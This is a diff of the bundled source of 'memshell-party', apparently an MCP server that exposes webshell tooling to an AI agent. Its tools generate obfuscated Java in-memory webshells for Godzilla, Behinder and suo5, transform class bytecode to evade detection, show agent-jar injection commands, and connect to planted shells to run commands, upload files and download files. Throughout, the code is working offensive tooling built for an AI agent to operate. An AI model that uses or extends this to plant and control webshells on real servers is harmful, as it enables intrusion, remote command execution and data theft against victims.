@@ -1902,10 +2742,47 @@ function resolveConnection(ref, flags) {
|
|
|
1902
2742
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
1903
2743
|
insecure: flags.insecure ?? stored?.insecure,
|
|
1904
2744
|
profile: flags.profile ?? stored?.profile,
|
|
2745
|
+
upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
|
|
1905
2746
|
targetName
|
|
1906
2747
|
};
|
|
1907
2748
|
}
|
|
1908
2749
|
|
|
2750
|
+
// src/core/obfuscation.ts
|
|
2751
|
+
function parseObfuscationOptions(input) {
|
|
2752
|
+
if (input === void 0 || input.trim() === "") return void 0;
|
|
2753
|
+
const options = {};
|
|
2754
|
+
for (const entry of input.split(/[,\n]/)) {
|
|
2755
|
+
const separator = entry.indexOf("=");
|
|
2756
|
+
const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
|
|
2757
|
+
if (separator < 0 || key === "") {
|
|
2758
|
+
throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
|
|
2759
|
+
}
|
|
2760
|
+
if (Object.hasOwn(options, key)) {
|
|
2761
|
+
throw new Error(`Duplicate obfuscation option "${key}".`);
|
|
2762
|
+
}
|
|
2763
|
+
const value = entry.slice(separator + 1).trim();
|
|
2764
|
+
if (value === "true" || value === "false") {
|
|
2765
|
+
options[key] = value === "true";
|
|
2766
|
+
} else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
|
|
2767
|
+
options[key] = Number(value);
|
|
2768
|
+
} else {
|
|
2769
|
+
options[key] = value;
|
|
2770
|
+
}
|
|
2771
|
+
}
|
|
2772
|
+
return options;
|
|
2773
|
+
}
|
|
2774
|
+
|
|
2775
|
+
// src/core/agent.ts
|
|
2776
|
+
function supportsAgentLoadArguments(shellType, packer) {
|
|
2777
|
+
return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
|
|
2778
|
+
}
|
|
2779
|
+
function agentLoadExamples(agentArgs) {
|
|
2780
|
+
return [
|
|
2781
|
+
`java -jar agent.jar <pid> ${agentArgs}`,
|
|
2782
|
+
`jattach <pid> load instrument false agent.jar=${agentArgs}`
|
|
2783
|
+
];
|
|
2784
|
+
}
|
|
2785
|
+
|
|
1909
2786
|
// src/version.ts
|
|
1910
2787
|
import { createRequire } from "module";
|
|
1911
2788
|
var require2 = createRequire(import.meta.url);
|
|
@@ -1936,13 +2813,20 @@ var memShellInput = {
|
|
|
1936
2813
|
shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
|
|
1937
2814
|
shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
|
|
1938
2815
|
packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
|
|
1939
|
-
jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
|
|
2816
|
+
jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
|
|
1940
2817
|
debug: z.boolean().optional(),
|
|
1941
2818
|
byPassJavaModule: z.boolean().optional(),
|
|
1942
2819
|
shrink: z.boolean().optional(),
|
|
1943
2820
|
lambdaSuffix: z.boolean().optional(),
|
|
1944
2821
|
probe: z.boolean().optional(),
|
|
2822
|
+
obfuscate: z.boolean().optional(),
|
|
2823
|
+
obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
|
|
2824
|
+
obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
|
|
1945
2825
|
shellClassName: z.string().optional(),
|
|
2826
|
+
toolOptions: z.record(z.union([z.string(), z.record(z.unknown())])).optional().describe(
|
|
2827
|
+
"Additional shell-tool fields from list_shell_tool_configs, including plugin fields. String/enum fields use strings; v3.1+ object fields use JSON objects. These override matching built-in convenience arguments."
|
|
2828
|
+
),
|
|
2829
|
+
toolOptionJson: z.record(z.string()).optional().describe("String-encoded shell-tool fields (name -> value); object fields contain JSON text."),
|
|
1946
2830
|
godzillaPass: z.string().optional(),
|
|
1947
2831
|
godzillaKey: z.string().optional(),
|
|
1948
2832
|
behinderPass: z.string().optional(),
|
|
@@ -1957,19 +2841,22 @@ var memShellInput = {
|
|
|
1957
2841
|
urlPattern: z.string().optional(),
|
|
1958
2842
|
injectorClassName: z.string().optional(),
|
|
1959
2843
|
staticInitialize: z.boolean().optional(),
|
|
2844
|
+
agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
|
|
1960
2845
|
outputFile: z.string().optional().describe(
|
|
1961
2846
|
"also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
|
|
1962
2847
|
)
|
|
1963
2848
|
};
|
|
1964
2849
|
var probeInput = {
|
|
1965
|
-
probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
|
|
1966
|
-
probeContent: z.string().describe("
|
|
2850
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
|
|
2851
|
+
probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
|
|
1967
2852
|
packer: z.string(),
|
|
1968
2853
|
jdk: z.string().optional(),
|
|
1969
2854
|
debug: z.boolean().optional(),
|
|
1970
2855
|
byPassJavaModule: z.boolean().optional(),
|
|
1971
2856
|
shrink: z.boolean().optional(),
|
|
1972
2857
|
lambdaSuffix: z.boolean().optional(),
|
|
2858
|
+
obfuscate: z.boolean().optional(),
|
|
2859
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
1973
2860
|
staticInitialize: z.boolean().optional(),
|
|
1974
2861
|
shellClassName: z.string().optional(),
|
|
1975
2862
|
host: z.string().optional(),
|
|
@@ -1978,8 +2865,31 @@ var probeInput = {
|
|
|
1978
2865
|
server: z.string().optional(),
|
|
1979
2866
|
reqParamName: z.string().optional(),
|
|
1980
2867
|
commandTemplate: z.string().optional(),
|
|
2868
|
+
respHeaderName: z.string().optional(),
|
|
1981
2869
|
outputFile: memShellInput.outputFile
|
|
1982
2870
|
};
|
|
2871
|
+
var bytecodeInput = {
|
|
2872
|
+
classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
|
|
2873
|
+
outputFile: z.string().optional().describe("also write the transformed class to this local file")
|
|
2874
|
+
};
|
|
2875
|
+
var bytecodeTransformInput = {
|
|
2876
|
+
...bytecodeInput,
|
|
2877
|
+
packer: z.string().optional(),
|
|
2878
|
+
byPassJavaModule: z.boolean().optional(),
|
|
2879
|
+
staticInitialize: z.boolean().optional(),
|
|
2880
|
+
shrink: z.boolean().optional(),
|
|
2881
|
+
renamePackage: z.boolean().optional(),
|
|
2882
|
+
relocateFrom: z.string().optional(),
|
|
2883
|
+
relocateTo: z.string().optional(),
|
|
2884
|
+
entryMethod: z.string().optional(),
|
|
2885
|
+
newClassName: z.string().optional(),
|
|
2886
|
+
randomName: z.boolean().optional(),
|
|
2887
|
+
obfuscate: z.boolean().optional(),
|
|
2888
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
2889
|
+
server: z.string().optional(),
|
|
2890
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
|
|
2891
|
+
respHeaderName: z.string().optional()
|
|
2892
|
+
};
|
|
1983
2893
|
var connectInput = {
|
|
1984
2894
|
name: z.string().optional().describe(
|
|
1985
2895
|
"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
|
|
@@ -1992,7 +2902,8 @@ var connectInput = {
|
|
|
1992
2902
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
1993
2903
|
suo5Mode: z.enum(["auto", "v2", "v1"]).optional().describe("suo5 protocol variant (default: auto)"),
|
|
1994
2904
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
1995
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
2905
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
2906
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
1996
2907
|
};
|
|
1997
2908
|
var execInput = {
|
|
1998
2909
|
name: z.string().optional().describe(
|
|
@@ -2009,7 +2920,8 @@ var execInput = {
|
|
|
2009
2920
|
headerName: z.string().optional().describe("gate header name from generate_memshell shellToolConfig (usually User-Agent)"),
|
|
2010
2921
|
headerValue: z.string().optional().describe("gate header value from generate_memshell shellToolConfig \u2014 required for MemShellParty shells"),
|
|
2011
2922
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
2012
|
-
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)")
|
|
2923
|
+
timeoutMs: z.number().optional().describe("request timeout in milliseconds (default 30000)"),
|
|
2924
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name")
|
|
2013
2925
|
};
|
|
2014
2926
|
var transferConnInput = {
|
|
2015
2927
|
name: execInput.name,
|
|
@@ -2021,6 +2933,7 @@ var transferConnInput = {
|
|
|
2021
2933
|
headerValue: execInput.headerValue,
|
|
2022
2934
|
insecure: execInput.insecure,
|
|
2023
2935
|
timeoutMs: execInput.timeoutMs,
|
|
2936
|
+
upgradeProtocol: execInput.upgradeProtocol,
|
|
2024
2937
|
remoteCharset: z.string().optional().describe(
|
|
2025
2938
|
"godzilla only: charset for non-ASCII remote paths (any Java label, e.g. GBK; default UTF-8)"
|
|
2026
2939
|
)
|
|
@@ -2048,12 +2961,82 @@ var targetSaveInput = {
|
|
|
2048
2961
|
headerName: z.string().optional().describe("gate header name (shellToolConfig.headerName)"),
|
|
2049
2962
|
headerValue: z.string().optional().describe("gate header value (shellToolConfig.headerValue)"),
|
|
2050
2963
|
insecure: z.boolean().optional().describe("skip TLS certificate verification"),
|
|
2964
|
+
upgradeProtocol: z.string().optional().describe("Godzilla Upgrade: fully-qualified generated shell class name"),
|
|
2051
2965
|
projectRemark: z.string().optional().describe("project remark (merged into the project)"),
|
|
2052
2966
|
projectCategory: z.string().optional().describe("project category (merged into the project)"),
|
|
2053
2967
|
shellRemark: z.string().optional().describe("remark for this shell")
|
|
2054
2968
|
};
|
|
2055
2969
|
function createMcpServer(client) {
|
|
2056
2970
|
const server = new McpServer({ name: "memshell-party", version: CLI_VERSION });
|
|
2971
|
+
server.registerTool(
|
|
2972
|
+
"bytecode_decode",
|
|
2973
|
+
{
|
|
2974
|
+
title: "Decode Java class",
|
|
2975
|
+
description: "Decode Base64/GzipBase64 class bytes and return class metadata (MemShellParty v3+).",
|
|
2976
|
+
inputSchema: bytecodeInput
|
|
2977
|
+
},
|
|
2978
|
+
async (args) => {
|
|
2979
|
+
try {
|
|
2980
|
+
const result = await client.decodeBytecode(args.classBytesBase64);
|
|
2981
|
+
const outputFile = args.outputFile === void 0 ? void 0 : emitSinglePackResult(
|
|
2982
|
+
{ packResult: result.classBytesBase64Str },
|
|
2983
|
+
{ outFile: args.outputFile, decode: true }
|
|
2984
|
+
);
|
|
2985
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
2986
|
+
} catch (err) {
|
|
2987
|
+
return errorContent(err);
|
|
2988
|
+
}
|
|
2989
|
+
}
|
|
2990
|
+
);
|
|
2991
|
+
server.registerTool(
|
|
2992
|
+
"bytecode_transform",
|
|
2993
|
+
{
|
|
2994
|
+
title: "Transform Java class",
|
|
2995
|
+
description: "Rename, relocate, instrument, obfuscate or pack a Java class (MemShellParty v3+).",
|
|
2996
|
+
inputSchema: bytecodeTransformInput
|
|
2997
|
+
},
|
|
2998
|
+
async (args) => {
|
|
2999
|
+
try {
|
|
3000
|
+
const renamePackage = args.renamePackage || args.relocateFrom !== void 0 || args.relocateTo !== void 0;
|
|
3001
|
+
if (renamePackage && (!args.relocateFrom || !args.relocateTo)) {
|
|
3002
|
+
throw new Error("Package relocation requires relocateFrom and relocateTo.");
|
|
3003
|
+
}
|
|
3004
|
+
const {
|
|
3005
|
+
outputFile: outputPath,
|
|
3006
|
+
obfuscate: _obfuscate,
|
|
3007
|
+
obfuscationOptions,
|
|
3008
|
+
probeMethod,
|
|
3009
|
+
server: server2,
|
|
3010
|
+
respHeaderName,
|
|
3011
|
+
...fields
|
|
3012
|
+
} = args;
|
|
3013
|
+
const request = {
|
|
3014
|
+
obfuscation: args.obfuscate || args.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(args.obfuscationOptions) } : void 0,
|
|
3015
|
+
...probeMethod === void 0 ? {} : {
|
|
3016
|
+
server: server2 ?? "Unknown",
|
|
3017
|
+
probe: {
|
|
3018
|
+
probeMethod,
|
|
3019
|
+
probeContent: "Bytecode",
|
|
3020
|
+
respHeaderName
|
|
3021
|
+
}
|
|
3022
|
+
}
|
|
3023
|
+
};
|
|
3024
|
+
const result = await client.transformBytecode({
|
|
3025
|
+
classBytesBase64: args.classBytesBase64,
|
|
3026
|
+
...Object.fromEntries(Object.entries(fields).filter(([, value]) => value !== void 0)),
|
|
3027
|
+
...renamePackage ? { renamePackage } : {},
|
|
3028
|
+
...request
|
|
3029
|
+
});
|
|
3030
|
+
const outputFile = outputPath === void 0 ? void 0 : emitSinglePackResult(
|
|
3031
|
+
{ packResult: result.packResult ?? result.classBytesBase64Str },
|
|
3032
|
+
{ outFile: outputPath, decode: result.packResult === void 0 || void 0 }
|
|
3033
|
+
);
|
|
3034
|
+
return jsonContent(outputFile === void 0 ? result : { ...result, outputFile });
|
|
3035
|
+
} catch (err) {
|
|
3036
|
+
return errorContent(err);
|
|
3037
|
+
}
|
|
3038
|
+
}
|
|
3039
|
+
);
|
|
2057
3040
|
server.registerTool(
|
|
2058
3041
|
"list_servers",
|
|
2059
3042
|
{ title: "List servers", description: "List supported servers and their shell types" },
|
|
@@ -2104,6 +3087,78 @@ function createMcpServer(client) {
|
|
|
2104
3087
|
}
|
|
2105
3088
|
}
|
|
2106
3089
|
);
|
|
3090
|
+
server.registerTool(
|
|
3091
|
+
"list_shell_tool_configs",
|
|
3092
|
+
{
|
|
3093
|
+
title: "List shell tool configs",
|
|
3094
|
+
description: "List v3 shell tool parameter names, types, enum choices and groups. An empty list means the backend uses the legacy v2 API."
|
|
3095
|
+
},
|
|
3096
|
+
async () => {
|
|
3097
|
+
try {
|
|
3098
|
+
return jsonContent(await client.getShellToolConfigs());
|
|
3099
|
+
} catch (err) {
|
|
3100
|
+
return errorContent(err);
|
|
3101
|
+
}
|
|
3102
|
+
}
|
|
3103
|
+
);
|
|
3104
|
+
server.registerTool(
|
|
3105
|
+
"list_plugins",
|
|
3106
|
+
{
|
|
3107
|
+
title: "List external plugins",
|
|
3108
|
+
description: "List v3.1+ external plugin metadata, SPI services, load status and load errors. An empty list means no plugins or a backend older than v3.1."
|
|
3109
|
+
},
|
|
3110
|
+
async () => {
|
|
3111
|
+
try {
|
|
3112
|
+
return jsonContent(await client.getPlugins());
|
|
3113
|
+
} catch (err) {
|
|
3114
|
+
return errorContent(err);
|
|
3115
|
+
}
|
|
3116
|
+
}
|
|
3117
|
+
);
|
|
3118
|
+
server.registerTool(
|
|
3119
|
+
"list_remote_options",
|
|
3120
|
+
{
|
|
3121
|
+
title: "Resolve remote shell tool options",
|
|
3122
|
+
description: "Fetch and normalize a v3.1 remote-select field. Returns labels and string IDs or complete objects ready to pass to generate_memshell toolOptions.",
|
|
3123
|
+
inputSchema: {
|
|
3124
|
+
tool: z.string(),
|
|
3125
|
+
param: z.string(),
|
|
3126
|
+
url: z.string().optional().describe("Remote HTTP(S) endpoint; falls back to the urlQueryParam environment variable."),
|
|
3127
|
+
object: z.boolean().optional().describe("Override object mode; normally inferred from the field type.")
|
|
3128
|
+
}
|
|
3129
|
+
},
|
|
3130
|
+
async (args) => {
|
|
3131
|
+
try {
|
|
3132
|
+
const descriptor = (await client.getShellToolConfigs()).find((config) => config.tool === args.tool);
|
|
3133
|
+
const param = descriptor?.params.find((candidate) => candidate.name === args.param);
|
|
3134
|
+
if (!param?.ui || param.ui.kind !== "remote-select") {
|
|
3135
|
+
throw new Error(`${args.tool}.${args.param} is not a remote-select shell tool option.`);
|
|
3136
|
+
}
|
|
3137
|
+
const sourceUrl = args.url ?? process.env[param.ui.urlQueryParam];
|
|
3138
|
+
if (!sourceUrl) {
|
|
3139
|
+
throw new Error(`Provide url or set the ${param.ui.urlQueryParam} environment variable.`);
|
|
3140
|
+
}
|
|
3141
|
+
const options = await fetchRemoteOptions(sourceUrl, param.ui, args.object ?? param.type === "object");
|
|
3142
|
+
return jsonContent({ tool: args.tool, param: args.param, sourceUrl, options });
|
|
3143
|
+
} catch (err) {
|
|
3144
|
+
return errorContent(err);
|
|
3145
|
+
}
|
|
3146
|
+
}
|
|
3147
|
+
);
|
|
3148
|
+
server.registerTool(
|
|
3149
|
+
"list_obfuscation_options",
|
|
3150
|
+
{
|
|
3151
|
+
title: "List obfuscation options",
|
|
3152
|
+
description: "List class obfuscation option keys, defaults and valid values (v3+)"
|
|
3153
|
+
},
|
|
3154
|
+
async () => {
|
|
3155
|
+
try {
|
|
3156
|
+
return jsonContent(await client.getObfuscationOptions());
|
|
3157
|
+
} catch (err) {
|
|
3158
|
+
return errorContent(err);
|
|
3159
|
+
}
|
|
3160
|
+
}
|
|
3161
|
+
);
|
|
2107
3162
|
server.registerTool(
|
|
2108
3163
|
"generate_memshell",
|
|
2109
3164
|
{
|
|
@@ -2122,7 +3177,29 @@ function createMcpServer(client) {
|
|
|
2122
3177
|
};
|
|
2123
3178
|
const started = Date.now();
|
|
2124
3179
|
try {
|
|
2125
|
-
|
|
3180
|
+
if (args.agentArgs !== void 0 && !supportsAgentLoadArguments(args.shellType, args.packer)) {
|
|
3181
|
+
throw new Error(
|
|
3182
|
+
"agentArgs requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
|
|
3183
|
+
);
|
|
3184
|
+
}
|
|
3185
|
+
const hasPluginOptions = args.toolOptions !== void 0 || args.toolOptionJson !== void 0;
|
|
3186
|
+
const toolConfigs = hasPluginOptions ? await client.getShellToolConfigs() : [];
|
|
3187
|
+
const shellToolParams = hasPluginOptions ? toolConfigs.find((config) => config.tool === args.shellTool)?.params : void 0;
|
|
3188
|
+
const shellToolConfig = {
|
|
3189
|
+
...args.toolOptions,
|
|
3190
|
+
...parseShellToolConfig(
|
|
3191
|
+
Object.entries(args.toolOptionJson ?? {}).map(([name, value]) => `${name}=${value}`),
|
|
3192
|
+
shellToolParams
|
|
3193
|
+
)
|
|
3194
|
+
};
|
|
3195
|
+
const response = await client.generateMemShell(
|
|
3196
|
+
buildMemShellRequest({
|
|
3197
|
+
...args,
|
|
3198
|
+
shellToolConfig: hasPluginOptions ? shellToolConfig : void 0,
|
|
3199
|
+
shellToolParams,
|
|
3200
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
3201
|
+
})
|
|
3202
|
+
);
|
|
2126
3203
|
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
2127
3204
|
logOp({
|
|
2128
3205
|
category: "gen",
|
|
@@ -2132,7 +3209,14 @@ function createMcpServer(client) {
|
|
|
2132
3209
|
detail: `${response.memShellResult.shellClassName} (${response.memShellResult.shellSize} bytes)`,
|
|
2133
3210
|
meta
|
|
2134
3211
|
});
|
|
2135
|
-
return jsonContent(
|
|
3212
|
+
return jsonContent({
|
|
3213
|
+
...response,
|
|
3214
|
+
...outputFile === void 0 ? {} : { outputFile },
|
|
3215
|
+
...args.agentArgs === void 0 ? {} : {
|
|
3216
|
+
agentArgs: args.agentArgs,
|
|
3217
|
+
agentLoadExamples: agentLoadExamples(args.agentArgs)
|
|
3218
|
+
}
|
|
3219
|
+
});
|
|
2136
3220
|
} catch (err) {
|
|
2137
3221
|
logOp({
|
|
2138
3222
|
category: "gen",
|
|
@@ -2162,7 +3246,12 @@ function createMcpServer(client) {
|
|
|
2162
3246
|
};
|
|
2163
3247
|
const started = Date.now();
|
|
2164
3248
|
try {
|
|
2165
|
-
const response = await client.generateProbe(
|
|
3249
|
+
const response = await client.generateProbe(
|
|
3250
|
+
buildProbeRequest({
|
|
3251
|
+
...args,
|
|
3252
|
+
obfuscationOptions: parseObfuscationOptions(args.obfuscationOptions)
|
|
3253
|
+
})
|
|
3254
|
+
);
|
|
2166
3255
|
const outputFile = args.outputFile !== void 0 ? emitSinglePackResult(response, { outFile: args.outputFile }) : void 0;
|
|
2167
3256
|
logOp({
|
|
2168
3257
|
category: "probe",
|
|
@@ -2228,29 +3317,19 @@ function createMcpServer(client) {
|
|
|
2228
3317
|
key: args.key,
|
|
2229
3318
|
headerName: args.headerName,
|
|
2230
3319
|
headerValue: args.headerValue,
|
|
2231
|
-
insecure: args.insecure
|
|
3320
|
+
insecure: args.insecure,
|
|
3321
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2232
3322
|
});
|
|
2233
3323
|
const common = {
|
|
2234
3324
|
headerName: conn.headerName,
|
|
2235
3325
|
headerValue: conn.headerValue,
|
|
2236
3326
|
extraHeaders: conn.extraHeaders,
|
|
2237
3327
|
timeoutMs: args.timeoutMs,
|
|
2238
|
-
insecure: conn.insecure
|
|
3328
|
+
insecure: conn.insecure,
|
|
3329
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2239
3330
|
};
|
|
2240
|
-
|
|
2241
|
-
|
|
2242
|
-
case "godzilla":
|
|
2243
|
-
result = await testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common);
|
|
2244
|
-
break;
|
|
2245
|
-
case "behinder":
|
|
2246
|
-
result = await testBehinder(conn.url, conn.pass ?? "rebeyond", common);
|
|
2247
|
-
break;
|
|
2248
|
-
case "suo5":
|
|
2249
|
-
result = await testSuo5(conn.url, { ...common, mode: args.suo5Mode });
|
|
2250
|
-
break;
|
|
2251
|
-
default:
|
|
2252
|
-
throw new Error(`unknown tool ${String(conn.tool)}`);
|
|
2253
|
-
}
|
|
3331
|
+
const options = { suo5Mode: args.suo5Mode };
|
|
3332
|
+
const result = await requireProtocol(conn.tool).test({ conn, common, options });
|
|
2254
3333
|
let savedAs;
|
|
2255
3334
|
if (result.ok && conn.targetName === void 0) {
|
|
2256
3335
|
savedAs = autoSaveShell(conn);
|
|
@@ -2289,32 +3368,20 @@ function createMcpServer(client) {
|
|
|
2289
3368
|
key: args.key,
|
|
2290
3369
|
headerName: args.headerName,
|
|
2291
3370
|
headerValue: args.headerValue,
|
|
2292
|
-
insecure: args.insecure
|
|
3371
|
+
insecure: args.insecure,
|
|
3372
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2293
3373
|
});
|
|
2294
3374
|
const common = {
|
|
2295
3375
|
headerName: conn.headerName,
|
|
2296
3376
|
headerValue: conn.headerValue,
|
|
2297
3377
|
extraHeaders: conn.extraHeaders,
|
|
2298
3378
|
timeoutMs: args.timeoutMs,
|
|
2299
|
-
insecure: conn.insecure
|
|
3379
|
+
insecure: conn.insecure,
|
|
3380
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2300
3381
|
};
|
|
2301
|
-
|
|
2302
|
-
|
|
2303
|
-
|
|
2304
|
-
result = await execGodzilla(
|
|
2305
|
-
conn.url,
|
|
2306
|
-
conn.pass ?? "pass",
|
|
2307
|
-
conn.key ?? "key",
|
|
2308
|
-
args.command,
|
|
2309
|
-
{ ...common, os: args.os }
|
|
2310
|
-
);
|
|
2311
|
-
break;
|
|
2312
|
-
case "behinder":
|
|
2313
|
-
result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
|
|
2314
|
-
break;
|
|
2315
|
-
default:
|
|
2316
|
-
throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2317
|
-
}
|
|
3382
|
+
const protocol = requireProtocol(conn.tool);
|
|
3383
|
+
if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
|
|
3384
|
+
const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
|
|
2318
3385
|
let savedAs;
|
|
2319
3386
|
if (result.ok && conn.targetName === void 0) {
|
|
2320
3387
|
savedAs = autoSaveShell(conn);
|
|
@@ -2356,41 +3423,27 @@ function createMcpServer(client) {
|
|
|
2356
3423
|
key: args.key,
|
|
2357
3424
|
headerName: args.headerName,
|
|
2358
3425
|
headerValue: args.headerValue,
|
|
2359
|
-
insecure: args.insecure
|
|
3426
|
+
insecure: args.insecure,
|
|
3427
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2360
3428
|
});
|
|
2361
3429
|
const common = {
|
|
2362
3430
|
headerName: conn.headerName,
|
|
2363
3431
|
headerValue: conn.headerValue,
|
|
2364
3432
|
extraHeaders: conn.extraHeaders,
|
|
2365
3433
|
timeoutMs: args.timeoutMs,
|
|
2366
|
-
insecure: conn.insecure
|
|
3434
|
+
insecure: conn.insecure,
|
|
3435
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2367
3436
|
};
|
|
2368
3437
|
const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
|
|
2369
|
-
|
|
2370
|
-
|
|
2371
|
-
|
|
2372
|
-
|
|
2373
|
-
|
|
2374
|
-
|
|
2375
|
-
conn.key ?? "key",
|
|
2376
|
-
args.remotePath,
|
|
2377
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
2378
|
-
);
|
|
2379
|
-
break;
|
|
2380
|
-
case "behinder":
|
|
2381
|
-
result = await downloadBehinder(
|
|
2382
|
-
conn.url,
|
|
2383
|
-
conn.pass ?? "rebeyond",
|
|
2384
|
-
args.remotePath,
|
|
2385
|
-
common
|
|
2386
|
-
);
|
|
2387
|
-
break;
|
|
2388
|
-
default:
|
|
2389
|
-
throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2390
|
-
}
|
|
3438
|
+
const protocol = requireProtocol(conn.tool);
|
|
3439
|
+
if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
|
|
3440
|
+
let result = await protocol.download(
|
|
3441
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
3442
|
+
args.remotePath
|
|
3443
|
+
);
|
|
2391
3444
|
if (result.ok && result.data !== void 0) {
|
|
2392
3445
|
try {
|
|
2393
|
-
|
|
3446
|
+
writeFileSync4(localPath, result.data);
|
|
2394
3447
|
} catch (err) {
|
|
2395
3448
|
result = {
|
|
2396
3449
|
...result,
|
|
@@ -2439,40 +3492,25 @@ function createMcpServer(client) {
|
|
|
2439
3492
|
key: args.key,
|
|
2440
3493
|
headerName: args.headerName,
|
|
2441
3494
|
headerValue: args.headerValue,
|
|
2442
|
-
insecure: args.insecure
|
|
3495
|
+
insecure: args.insecure,
|
|
3496
|
+
upgradeProtocol: args.upgradeProtocol
|
|
2443
3497
|
});
|
|
2444
3498
|
const common = {
|
|
2445
3499
|
headerName: conn.headerName,
|
|
2446
3500
|
headerValue: conn.headerValue,
|
|
2447
3501
|
extraHeaders: conn.extraHeaders,
|
|
2448
3502
|
timeoutMs: args.timeoutMs,
|
|
2449
|
-
insecure: conn.insecure
|
|
3503
|
+
insecure: conn.insecure,
|
|
3504
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2450
3505
|
};
|
|
2451
3506
|
const data = readUploadFile(args.localPath);
|
|
2452
|
-
|
|
2453
|
-
|
|
2454
|
-
|
|
2455
|
-
|
|
2456
|
-
|
|
2457
|
-
|
|
2458
|
-
|
|
2459
|
-
args.remotePath,
|
|
2460
|
-
data,
|
|
2461
|
-
{ ...common, remoteCharset: args.remoteCharset }
|
|
2462
|
-
);
|
|
2463
|
-
break;
|
|
2464
|
-
case "behinder":
|
|
2465
|
-
result = await uploadBehinder(
|
|
2466
|
-
conn.url,
|
|
2467
|
-
conn.pass ?? "rebeyond",
|
|
2468
|
-
args.remotePath,
|
|
2469
|
-
data,
|
|
2470
|
-
common
|
|
2471
|
-
);
|
|
2472
|
-
break;
|
|
2473
|
-
default:
|
|
2474
|
-
throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
|
|
2475
|
-
}
|
|
3507
|
+
const protocol = requireProtocol(conn.tool);
|
|
3508
|
+
if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
|
|
3509
|
+
const result = await protocol.upload(
|
|
3510
|
+
{ conn, common, options: { remoteCharset: args.remoteCharset } },
|
|
3511
|
+
args.remotePath,
|
|
3512
|
+
data
|
|
3513
|
+
);
|
|
2476
3514
|
let savedAs;
|
|
2477
3515
|
if (result.ok && conn.targetName === void 0) {
|
|
2478
3516
|
savedAs = autoSaveShell(conn);
|
|
@@ -2519,6 +3557,7 @@ function createMcpServer(client) {
|
|
|
2519
3557
|
headerName: args.headerName,
|
|
2520
3558
|
headerValue: args.headerValue,
|
|
2521
3559
|
insecure: args.insecure,
|
|
3560
|
+
upgradeProtocol: args.upgradeProtocol,
|
|
2522
3561
|
remark: args.shellRemark
|
|
2523
3562
|
});
|
|
2524
3563
|
logOp({
|
|
@@ -2672,62 +3711,10 @@ async function startMcpStdio(client) {
|
|
|
2672
3711
|
await server.connect(transport);
|
|
2673
3712
|
}
|
|
2674
3713
|
|
|
2675
|
-
// src/connect/mimic-codecs.ts
|
|
2676
|
-
import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
|
|
2677
|
-
var LEGACY_CIPHER = {
|
|
2678
|
-
algorithm: "aes-ecb",
|
